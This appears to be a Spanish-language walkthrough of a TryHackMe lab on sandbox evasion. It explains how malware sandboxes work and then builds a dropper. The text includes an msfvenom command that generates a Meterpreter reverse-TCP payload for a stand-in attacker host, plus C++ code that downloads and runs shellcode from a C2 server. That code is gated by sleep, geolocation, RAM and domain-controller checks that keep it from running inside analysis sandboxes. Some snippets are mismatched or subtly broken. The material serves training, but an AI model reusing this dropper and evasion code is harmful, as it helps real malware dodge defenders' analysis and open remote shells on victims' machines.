Sandbox Evasion

AnteriorFirewalls SiguienteComprometiendo un directorio activo

Última actualización hace 10 meses

Sandbox Evasion

Introduction

Bienvenido a Evasión Sandbox

Muchas empresas implementan una estrategia de “defensa en profundidad”, que se refiere a implementar la seguridad en capas, de modo que si una capa falla, debería haber otra que el adversario debe evadir. En esta sala, nos centraremos en un tipo único de defensa activa; Cajas de arena. Los entornos sandbox proporcionan una forma segura de analizar un archivo potencialmente malicioso y observar los efectos en el sistema y determinar si el ejecutable es malicioso o no.

Objetivos de aprendizaje

En esta sala aprenderemos sobre los Sandboxes en profundidad; Cuando termine esta sala, obtendrá una mejor comprensión de los siguientes temas:

Descubra cómo funcionan los entornos de pruebas de malware
Obtenga más información sobre el análisis de malware estático y dinámico
Métodos comunes de evasión del Sandbox
Desarrollo y prueba de métodos de evasión de Sandbox con Any.Run

Requisitos previos de la habitación

Para esta sala recomendamos la experiencia previa en las siguientes áreas:

An Adversary walks into a Sandbox

¿Qué es el análisis de malware?

El análisis de malware es el proceso de analizar un archivo sospechoso para determinar qué hace tanto a nivel micro (observando el ensamblaje) como a nivel macro (observando lo que hace en el sistema). Este proceso permite a los Blue Teamers comprender mejor los programas maliciosos, lo que puede ayudarlos a desarrollar detecciones.

Análisis estático versus dinámico

Hay dos formas en que un Blue Teamer puede analizar un archivo sospechoso; Una forma es mirar el código a nivel micro (como se indicó anteriormente) mediante el uso de desensambladores como IDA o Ghidra . Este proceso es más conocido como “Análisis Estático”.

En la otra cara de la moneda, podemos observar lo que sucede cuando el archivo sospechoso se ejecuta en el sistema mediante un proceso llamado “Análisis Dinámico”. En el sistema, a menudo hay muchas herramientas de análisis instaladas, como EDR Software, Sysmon, ProcMon, Process Hacker y Debuggers (por ejemplo, OllyDebug, WinDbg, x64Dbg) y muchas más.

Introducción a las zonas de pruebas

Una de las formas más creativas y efectivas que se les ocurrió a los Blue Teamers para analizar archivos de apariencia sospechosa se encuentra en la categoría de Análisis dinámico . Este método implica ejecutar el archivo en un entorno en contenedores (o virtualizado); Este entorno se conoce como Sandbox. Dependiendo del entorno de pruebas que elija, es posible que pueda personalizar qué versión de Windows se está ejecutando, el software instalado en la máquina y mucho más.

Los entornos sandbox proporcionan una manera segura y efectiva de monitorear lo que hace un archivo sospechoso antes de ejecutarlo en un sistema de producción (o permitir que se envíe a un sistema de producción). Hay muchos Sandboxes comerciales que pueden existir en varias partes de una red.

En el diagrama anterior, hay tres entornos sandbox diferentes. No es raro que haya uno, dos o incluso tres Sandboxes en un entorno corporativo. A menudo puedes encontrarlos en los siguientes lugares:

Cortafuegos
Servidores de correo
Estaciones de trabajo

Cada sandbox puede funcionar de manera diferente; por ejemplo, un firewall puede ejecutar el archivo adjunto en el correo electrónico y ver qué tipo de comunicaciones de red ocurren, mientras que un entorno de pruebas de correo puede abrir el correo electrónico y ver si un archivo incrustado dentro del correo electrónico desencadena una descarga a través de un protocolo como SMB en un intento de robar un hash NetNTLM, donde un entorno de pruebas antivirus basado en host puede ejecutar el archivo y monitorear comportamientos programáticos maliciosos o cambios en el sistema.

Hay varios proveedores que fabrican diversos productos Sandbox que los Blue Teamers pueden implementar en una red corporativa. A continuación se muestran algunos ejemplos populares:

Common Sandbox Evasion Techniques

Una introducción a la evasión de Sandbox

Ahora que tienes una idea general de qué son los Malware Sandboxes, podemos pasar a aprender algunas técnicas de evasión a alto nivel. Dividiremos esto en cuatro categorías diferentes; En la siguiente tarea, implementaremos cuatro técnicas de evasión diferentes (una de cada categoría), para que puedas salir de esta sala con algunos conocimientos prácticos que te ayudarán en las operaciones del Equipo Rojo.

Cubriremos las siguientes cuatro categorías amplias:

Sleeping through Sandboxes
Geolocation and Geoblocking
Checking System Information
Querying Network Information

Sleeping through Sandboxes

Los Sandboxes de malware a menudo están limitados a una restricción de tiempo para evitar la sobreasignación de recursos, lo que puede aumentar drásticamente la cola de Sandboxes. Este es un aspecto crucial del que podemos abusar; Si sabemos que un Sandbox solo se ejecutará durante cinco minutos en un momento dado, podemos implementar un temporizador de suspensión que se suspenda durante cinco minutos antes de que se ejecute nuestro código shell. Esto se podría hacer de varias maneras; Una forma común es consultar la hora actual del sistema y, en un hilo paralelo, verificar y ver cuánto tiempo ha transcurrido. Una vez transcurridos los cinco minutos, nuestro programa puede comenzar la ejecución normal.

Otro método popular es realizar cálculos matemáticos complejos y con gran cantidad de cálculos, lo que puede llevar una cierta cantidad de tiempo (por ejemplo, calcular la secuencia de Fibonacci hasta un número determinado). Recuerda que puede tardar más o menos tiempo en hacerlo en función del hardware del sistema. Enmascarar su aplicación es generalmente una buena idea para evitar detecciones antivirus en general, por lo que esto ya debería estar en su kit de herramientas.

Tenga en cuenta que algunas zonas de pruebas pueden alterar las funciones de suspensión integradas; Varios proveedores de antivirus han publicado publicaciones en blogs sobre cómo evitar las funciones de suspensión integradas. Por eso es muy recomendable que desarrolles tu propia función del sueño. Aquí hay un par de publicaciones de blog sobre cómo omitir las funciones de suspensión:

Geolocation and Geoblocking

Un factor que define a los Sandboxes es que a menudo se encuentran fuera de las instalaciones y están alojados por proveedores de antivirus. Si sabe que está atacando a TryHackMe, una empresa europea, y su binario se ejecuta en California, puede hacer una suposición fundamentada de que el binario terminó en un Sandbox. Puede optar por implementar un filtro de geolocalización en su programa que verifique si el bloque de dirección IP es propiedad de la empresa a la que se dirige o si proviene de un espacio de direcciones residencial. Hay varios servicios que puedes utilizar para comprobar esta información:

IfConfig.me se puede utilizar para recuperar su dirección IP actual, siendo opcional la información adicional. Combinar esto con RDAP de ARIN le permite determinar el ISP devuelto en un formato fácil de analizar (JSON).

Es importante tener en cuenta que este método sólo funcionará si el anfitrión tiene acceso a Internet. Algunas organizaciones pueden crear una lista de bloqueo de dominios específicos, por lo que debe estar 100% seguro de que este método funcionará para la organización contra la que intenta aprovecharlo.

Checking System Information

Otro método increíblemente popular es observar la información del sistema. La mayoría de los Sandboxes suelen tener recursos reducidos. Un popular servicio Malware Sandbox, Any.Run, solo asigna 1 núcleo de CPU y 4 GB de RAM por máquina virtual:

La mayoría de las estaciones de trabajo en una red suelen tener de 2 a 8 núcleos de CPU , de 8 a 32 GB de RAM y de 256 GB a 1 TB o más de espacio en disco. Esto depende increíblemente de la organización a la que se dirige, pero en general, puede esperar más de 2 núcleos de CPU por sistema y más de 4 GB de RAM. Sabiendo esto, podemos adaptar nuestro código para consultar información básica del sistema (recuento de núcleos de CPU, cantidad de RAM, tamaño de disco, etc.).

De ninguna manera es una lista exhaustiva, pero aquí hay algunos ejemplos adicionales de cosas por las que puedes filtrar:

Número de serie del medio de almacenamiento
Nombre de host de la PC
Versión BIOS/UEFI/Número de serie
Clave de producto de Windows/versión del sistema operativo
Información del adaptador de red
Comprobaciones de virtualización
Usuario registrado actual
¡y mucho más!

Querying Network Information

El último método es el más abierto que cubriremos. Debido a su carácter abierto, se considera uno de los métodos más avanzados, ya que implica consultar información sobre el dominio de Active Directory.

Casi ningún entorno de pruebas de malware está unido a un dominio, por lo que es relativamente seguro asumir que si la máquina no está unida a un dominio, ¡no es el objetivo correcto! Sin embargo, no siempre puedes estar demasiado seguro, por lo que debes recopilar cierta información sobre el dominio para estar seguro. Hay muchos objetos que puedes consultar; aquí hay algunos a considerar:

Ordenadores
Cuentas de usuario
Últimos inicios de sesión de usuario
Grupos
Administradores de dominio
Administradores empresariales
Controladores de dominio
Cuentas de servicio
Servidores DNS

Estas técnicas pueden variar en dificultad; por lo tanto, debes considerar cuánto tiempo y esfuerzo quieres dedicar a desarrollar estos métodos de evasión. Un método simple, como verificar las variables de entorno del sistema (esto se puede hacer con echo %VARIABLE% o para mostrar todas las variables, use el comando set ) para un elemento como LogonServer, LogonUserSid o LogonDomain puede ser mucho más fácil que implementar un API de Window

Preparando el escenario

Ahora que comprende mejor qué tipos de métodos Sandbox Bypass existen, lo llevaremos al siguiente paso e implementaremos algunos de los Sandbox Bypasses en la siguiente tarea.

Antes de pasar a la siguiente tarea, comenzaremos con un cuentagotas básico que recupera el código shell de un servidor web (específicamente de /index.raw), lo inyecta en la memoria y ejecuta el código shell. Es importante tener en cuenta que todo el código shell debe generarse con MSFVenom en formato sin formato y debe ser de 64 bits, no de 32 bits. Se puede generar con el siguiente comando.

Generando Shellcode con MSFVenom

user@attack-box$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=1337 -f raw -o index.raw
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Saved as: index.raw
user@attack-box$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.212 - - [20/Mar/2022 22:04:22] "GET /index.raw HTTP/1.1" 200 -

Luego, el código shell debe alojarse en AttackBox a través de cualquier servidor HTTP . El módulo http.server de Python3 es muy portátil y flexible y servirá como una buena base para esta tarea. En el mundo real, puedes alojar tu código shell en tu servidor C2. Para los fines de la práctica de laboratorio, utilizaremos Attackbox sin servidor C2.

El código adjunto a esta tarea se probó y compiló con Visual Studio 2019 (o superior). Descargue dropper.cpp y ábralo. Es importante tener en cuenta que hay varios valores de marcador de posición en las líneas 16, 22, 24, 27 y 33 que debes actualizar para que el código funcione correctamente. Una vez que haya modificado los valores, compile el código para una versión de 64 bits.

Implementing Various Evasion Techniques

Sumérgete en la evasión del Sandbox

Con este código base adquirido, daremos nuestro primer paso hacia el mundo de Sandbox Evasion. Vamos a empezar por nuestro sueño porque es el más sencillo.

Taking a Nap

Podemos tomar nuestro código de plantilla de la tarea anterior y agregarle una declaración de suspensión de 120.000 MS. Esto se traduce en aproximadamente 120 segundos o 2 minutos. Generalmente, querrás un tiempo más cercano a los 5 minutos para estar seguro; sin embargo, 2 minutos serán suficientes para realizar la prueba. Ahora agregaremos nuestra declaración Sleep en la función principal:

int main() {
    if (isDomainController == TRUE) {
        downloadAndExecute();
    } else {
        cout << "Domain Controller Not Found!";
    }
}

Probando nuestro código

Al observar los dos resultados uno al lado del otro, notamos que no se produce ninguna actividad en nuestra carrera Sleepy.

En nuestra carrera sin sueño, podemos ver una solicitud HTTP enviada a Cloudflare.

Felicidades! Hemos creado con éxito nuestra primera técnica Sandbox Evasion. Si bien esta es una técnica simple, es increíblemente poderosa y nos ha permitido agotar el temporizador de un minuto de Any.Run. Como se indicó en la última tarea, este método puede funcionar o no debido a varias publicaciones de blog que se han publicado que muestran que los Blue Teamers pueden crear omisiones del temporizador de apagado. Una mejor implementación sería perder tiempo de computación haciendo muchos cálculos matemáticos.

Geolocation Filtering

Pasando a nuestro siguiente método para evadir la ejecución de nuestro código shell en un Sandbox, aprovecharemos los bloques de geolocalización. Afortunadamente, podremos aprovechar una buena cantidad de código que ya está escrito para nosotros. Para esto se pueden reutilizar partes de la función "downloadAndExecute()". Reutilizaremos los siguientes componentes:

URL del sitio web (anteriormente la variable c2URL)
Transmisión de Internet (anteriormente la variable de transmisión)
Variable de cadena (anteriormente la variable s)
Espacio de búfer (anteriormente la variable Buff)
Bytes leídos (anteriormente la variable bytesRead larga sin firmar)

Integrando esto en nuestro código

Esto se traduce en una función real que se ve así:

BOOL checkIP() {   
 // Declare the Website URL that we would like to vicit
    const char* websiteURL = "<https://ifconfig.me/ip>";   
 // Create an Internet Stream to access the website
    IStream* stream;   
 // Create a string variable where we will store the string data received from the website
    string s;   
  // Create a space in memory where we will store our IP Address
    char buff[35];   
    unsigned long bytesRead;   
 // Open an Internet stream to the remote website
    URLOpenBlockingStreamA(0, websiteURL, &stream, 0, 0);   
 // While data is being sent from the webserver, write it to memory
    while (true) {       
        stream->Read(buff, 35, &bytesRead);       
        if (0U == bytesRead) {           
            break;       
        }       
        s.append(buff, bytesRead);   
    }   
  // Compare if the string is equal to the targeted victim's IP. If true, return the check is successful. Else, fail the check.
    if (s == "VICTIM_IP") {       
        return TRUE;   
    }   
    else {       
    return FALSE;   
    }
}

Este código se puede dividir en los siguientes pasos:

Declare las variables requeridas mencionadas anteriormente.
Abra una transmisión de Internet con la función URLOpenBlockingStreamA en ifconfig.me/ip para verificar la dirección IP actual.
Escriba el flujo de datos devuelto por la función URLOpenBlockingStreamA en la memoria.
Agregue los datos del búfer de memoria a una variable de cadena.
Verifique y vea si los datos de la cadena son iguales a la dirección IP de la víctima.
Si es Verdadero, devuelve VERDADERO; si es falso, devuelve FALSO.

Ahora debemos modificar nuestra función principal para que podamos aprovechar nuestra función recién creada:

int main(){
    if(checkIP() == TRUE){
        downloadAndExecute();
        return 0;
    }
    else {
        cout << "HTTP/418 - I'm a Teapot!";
        return 0;
    }
}

El código anterior invoca la nueva función, checkIP(), y si la dirección IP devuelve VERDADERO, entonces invoca la función downloadAndExecute() para llamar al código shell desde nuestro servidor C2 . Si es FALSO, devuelva HTTP/418: ¡soy una tetera!".

** Probando nuestro código**

Como ya sabrá, no todas las técnicas de escape de Sandbox pueden resultar útiles en determinadas situaciones; debes elegir cuidadosamente qué técnicas de evasión vas a implementar, ya que algunas pueden hacer más daño que bien.

Comprobación de la información del sistema

Comenzaremos la categoría Información del sistema con: la cantidad de RAM que tiene un sistema. Es importante tener en cuenta que Windows mide los datos en un formato no estándar. Si alguna vez compró una computadora que decía que tiene “256 GB de almacenamiento SSD”, después de encenderla, tendría más cerca de 240 GB. Esto se debe a que Windows mide los datos en unidades de 1024 bytes en lugar de 1000 bytes. Tenga en cuenta que esto puede resultar muy confuso muy rápidamente. Afortunadamente para nosotros, trabajaremos con cantidades de memoria tan pequeñas que la precisión puede ser una “mejor suposición” en lugar de un número exacto. Ahora que sabemos esto, ¿cómo podemos determinar cuánta memoria hay instalada en el sistema?

Comprobación de la memoria del sistema

En este escenario, estamos interesados específicamente en la cantidad total de memoria física instalada en el sistema, por lo que imprimiremos el miembro ullTotalPhys de la estructura MEMORYSTATUSEX para obtener el tamaño de la memoria instalada en el sistema en Bytes. Luego podemos dividir por 1024 3x para obtener el valor de la memoria instalada en GiB. Ahora veamos cómo se ve esto en C++:

#include <iostream>
#include <Windows.h>
using namespace std;
int main() {
// Declare the MEMORYSTATUSEX Struct    
   MEMORYSTATUSEX statex;
// Set the length of the struct to the size of the struct    
   statex.dwLength = sizeof(statex);
// Invoke the GlobalMemoryStatusEx Windows API to get the current memory info    
   GlobalMemoryStatusEx(&statex);
// Print the physical memory installed on the system    
   cout << "There is " << statex.ullTotalPhys/1024/1024/1024 << "GiB of memory on the system.";
}

Este código se puede dividir en los siguientes pasos:

Vamos a declarar la estructura MEMORYSTATUSEX; esto se completará con información de GlobalMemoryStatusEx WinAPI.
Ahora, debemos establecer la longitud de la estructura para poder completarla con datos. Para hacerlo, usaremos la función sizeof.
Ahora que tenemos la longitud de la estructura, podemos completarla con datos de GlobalMemoryStatusEx WinAPI.
Ahora podemos leer la cantidad total de memoria del sistema.

Integrando esto en nuestro código

Ahora que tenemos los conocimientos técnicos, debemos integrar esta verificación en nuestro código. En términos generales (debe verificar esto usted mismo), la mayoría de los Sandboxes tienen 4 GB de RAM dedicados a la máquina, por lo que debemos verificar y ver si el recuento de memoria es mayor a 5; si no es así, salga del programa; si es así, continúe la ejecución. Ya no modificaremos la función downloadAndExecute; De aquí en adelante, agregaremos nuevas funciones y cambiaremos la función principal.

BOOL memoryCheck() {
// This function will check and see if the system has 5+GB of RAM
// Declare the MEMORYSTATUSEX Struct    
    MEMORYSTATUSEX statex;
// Set the length of the struct to the size of the struct    
    statex.dwLength = sizeof(statex);
// Invoke the GlobalMemoryStatusEx Windows API to get the current memory info    
    GlobalMemoryStatusEx(&statex);
// Checks if the System Memory is greater than 5.00GB    
    if (statex.ullTotalPhys / 1024 / 1024 / 1024 >= 5.00) {        
       return TRUE;    
    } else {        
       return FALSE;
    }
}

int main() {
// Evaluates if the installed RAM amount is greater than 5.00 GB,
//if true download Shellcode, if false, exit the program.    
if (memoryCheck() == TRUE) {        
    downloadAndExecute();    
    } else {        
       exit;    
    }
return 0;
}

Este código se puede dividir en los siguientes pasos:

Estamos creando una nueva función (memoryCheck) que devolverá Verdadero o Falso.
Usamos el código anterior para obtener el tamaño de la memoria del sistema.
Comprobamos si la memoria del sistema es superior a 5GB; si es cierto, devolvemos VERDADERO; si es falso, devolvemos FALSO.
El valor devuelto por la función determina si descargamos y ejecutamos la etapa 2 o no.

Probando nuestro código

Observar las dos muestras una al lado de la otra muestra algunas diferencias interesantes; En el primer envío, nuestra función de verificación de memoria funciona sin ningún problema y sale elegantemente del programa cuando nota que el dispositivo tiene menos de 5 GB de RAM .

En nuestro código original sin modificar, podemos ver la solicitud HTTP GET para ir a un servidor web de AWS para obtener la Etapa dos.

Captura de pantalla de Any.Run que muestra una solicitud HTTP saliente

¡Esto muestra que nuestro código funciona según lo previsto! Ahora podemos pasar a una de nuestras categorías finales de omisión: Consultar información de la red.

Consultar información de la red

BOOL isDomainController(){
// Create a long pointer to Wide String for our DC Name to live in
    LPCWSTR dcName;  
// Query the NetGetDCName Win32 API for the Domain Controller Name
    NetGetDCName(NULL, NULL, (LPBYTE *) &dcName);
// Convert the DCName from a Wide String to a String
    wstring ws(dcName);
    string dcNewName(ws.begin(), ws.end());
// Search if the UNC path is referenced in the dcNewName variable. If so, there is likely a Domain Controller present in the environment. If this is true, pass the check, else, fail.
    if ( dcNewName.find("\\\\"){
          return TRUE;
    } else {
          return FALSE;
    }
}

Este código se puede dividir en los siguientes pasos:

Declarar dos variables; una cadena, un LPCWSTR. NetGetDCName WinAPI devuelve sólo un LPCWSTR.
Invoque la API de Windows NetGetDCName . Se especificarán dos valores nulos porque no conocemos el nombre del servidor ni el nombre de dominio del entorno en el que podemos estar.
Convertimos LPCWSTR en una variable de cadena normal para verificar y ver si el valor es NULL (o, en el caso de una cadena, "").
Ejecute la declaración de comparación y devuelva Verdadero o Falso según el nombre del dispositivo.

Esto luego volverá a llamar a la función Main() que luego evaluará si necesita descargar y ejecutar nuestro código shell desde el servidor C2 . La función principal ahora se ve así:

int main() {
    if (isDomainController == TRUE) {
        downloadAndExecute();
    } else {
        cout << "Domain Controller Not Found!";
    }
}

Probando nuestro código Para nuestro último análisis de Sandbox, usaremos VirusTotal. Al observar los resultados de SysInternals Sandbox, podemos ver que nuestra técnica de evasión Sandbox funcionó. No se realizó ninguna solicitud saliente a Cloudflare.

La captura de pantalla anterior muestra que nuestro malware no llegó a nuestro servidor C2 .

Agregar dependencias externas en Visual Studio

Para el método de evasión final, debemos agregar una nueva DLL al archivo del proyecto. Para hacerlo, asegúrese de que su proyecto esté abierto primero. Una vez abierto, haga clic derecho en el nombre del proyecto en el "Explorador de soluciones". En la imagen siguiente, el nombre del proyecto se llama "Aplicación de consola2":

Haga clic en Propiedades en la parte inferior de la lista; esto abrirá una nueva vista. Expanda la pestaña "Enlazador" y seleccione el submenú "Entrada". Estamos interesados en agregar la biblioteca Netapi32.

Para hacerlo, haga clic en el lado derecho con todas las bibliotecas a las que se hace referencia y agregue Netapi32.lib. Una vez agregado (como en la captura de pantalla que se muestra arriba), presione el botón "Aplicar" y "Aceptar" para cerrar la ventana y estará listo para continuar con el desarrollo.

Conclusión de las implementaciones

Ahora que está más familiarizado con la implementación de varias técnicas de evasión de Sandbox, pasaremos a un desafío de evasión de Sandbox en la siguiente tarea. Se le pedirá que integre varias derivaciones juntas para evadir el Sandbox "personalizado" de TryHackMe. Todo el código fuente se ha proporcionado completo para ayudar a aquellos que no estén tan familiarizados con C++.

DIY Sandbox Evasion Challenge

The Great Escape

Ahora que has adquirido algo de experiencia escapando de Sandboxes, ¡es hora de afrontar un desafío! En esta tarea, utilizará el código de la Tarea 4 para implementar el método "Ultimate Sandbox Evasion" para escapar del programa Sandbox de TryHackMe. Para escapar del Sandbox, debes implementar las siguientes técnicas:

Verifique y vea si el dispositivo está unido a un dominio de Active Directory
Compruebe si la memoria del sistema es superior a 1 GB de RAM
Implementar una solicitud HTTP saliente a 10.10.10.10
Implemente un temporizador de suspensión de 60 segundos antes de que su carga útil se recupere de su servidor web.

Si su cuentagotas cumple con los requisitos especificados anteriormente, se le imprimirá la bandera.

¡Buena suerte y diviertete!

Como recordatorio, la Tarea 4 contiene código fuente descargable de los cuatro ejemplos que pueden ayudarle en sus técnicas de Sandbox Evasion. Este material también se puede encontrar en VM en C:\Users\Administrator\Desktop\Materials .

Las técnicas de evasión del Sandbox pueden fallar. El programa analiza el binario para ver si se implementan las comprobaciones. Es posible que el dispositivo saliente no tenga acceso a Internet; siempre que se implementen las comprobaciones, la verificación del entorno de pruebas debería realizarse correctamente.

Binario de evasión de sandbox

Cuando haya terminado de desarrollar su carga útil y esté listo para probar sus métodos de evasión, puede encontrar el binario para registrar su cuentagotas C:\Users\Administrator\Desktop\Materials\SandboxChecker.exe. A continuación se muestra un ejemplo para mostrarle cómo funciona el programa:

C:\Users\Administrator\Desktop\Materials\> .\SandboxChecker.exe C:\Users\TryHackMe\Materials\SandboxEvasion.exe
[+] Memory Check found!
[+] Network Check found!
[+] GeoFilter Check found!
[+] Sleep Check found!
Congratulations! Here is your flag:

AnteriorFirewalls SiguienteComprometiendo un directorio activo

Última actualización hace 10 meses